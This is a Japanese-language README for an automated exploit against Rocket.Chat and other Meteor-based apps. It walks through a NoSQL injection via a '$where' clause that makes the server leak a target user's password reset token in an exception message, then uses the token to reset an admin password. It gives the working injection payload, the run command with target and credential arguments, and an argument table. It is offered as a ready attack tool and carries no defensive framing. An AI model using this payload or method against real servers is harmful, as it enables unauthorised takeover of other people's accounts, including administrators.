
Rocket.Chat向けの自動化されたNoSQLインジェクションエクスプロイトで、$where句を介してパスワードリセットトークンを漏洩させ、未認証のアカウント乗っ取りを実行します。
Rocket.Chat(および Meteor ベースのアプリケーション)向けの自動エクスプロイトスクリプトです。$where 句を介した NoSQL インジェクション を利用して、サーバー側の例外を通じてパスワードリセットトークンを漏洩させます。トークンが漏洩すると、スクリプトは認証なしでパスワードリセットを実行します。
認証: スクリプトは通常のユーザーとして認証し、/api/v1/users.list エンドポイントへのアクセスを取得します。
NoSQL インジェクション: query パラメータを使用して $where JavaScript 句を注入します。
データの外部漏洩: インジェクション内で throw 文を使用することで、サーバーにターゲットユーザーのパスワードリセットトークンを含む「未捕捉例外(uncaught exception)」エラーを返すよう強制します。
アカウント乗っ取り: スクリプトは漏洩したトークンを使用して resetPassword を呼び出し、ターゲットアカウントのパスワードを変更します。
Python 3.x
requests ライブラリ
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
このエクスプロイトの核となるのは、以下のインジェクション文字列です。
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
サーバーで処理されると、データベースエンジンが匿名関数を実行し、throw でクラッシュします。アプリケーションは例外をキャッチし、JSON エラー応答内で秘密トークンをユーザーに誤って返してしまいます。
| 引数 | ロングフラグ | 説明 |
|---|
-u | --user | 初期認証用の有効なユーザー名またはメールアドレス。 |
-p | --password | 有効なパスワード。 |
-a | --admin | リセットしたいアカウントのユーザー名。 |
-ap | --admin-pass | 管理者アカウントに設定する新しいパスワード。 |
--url | Rocket.Chat インスタンスのベース URL。 |